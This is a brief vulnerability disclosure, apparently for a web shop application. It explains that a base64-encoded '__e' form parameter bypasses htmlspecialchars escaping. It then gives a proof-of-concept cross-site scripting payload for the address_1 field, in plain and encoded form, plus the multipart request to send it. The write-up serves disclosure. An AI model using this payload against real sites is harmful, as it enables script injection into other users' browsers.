1. Description

By default all user input is escaped using `htmlspecialchars`.

But we can pass `__e` value which is base64 encoded and unfortunatelly those datas are not cleaned.

2. Proof of Concept

For example `address_1="><script>alert(2);</script>&` can be encoded as: `__e=YWRkcmVzc18xPSI+PHNjcmlwdD5hbGVydCgyKTs8L3NjcmlwdD4m`.

So create new order and set `address_1` value as `__e` using for example Burp:

```
Content-Disposition: form-data; name="__e"

YWRkcmVzc18xPSI+PHNjcmlwdD5hbGVydCgyKTs8L3NjcmlwdD4m
```
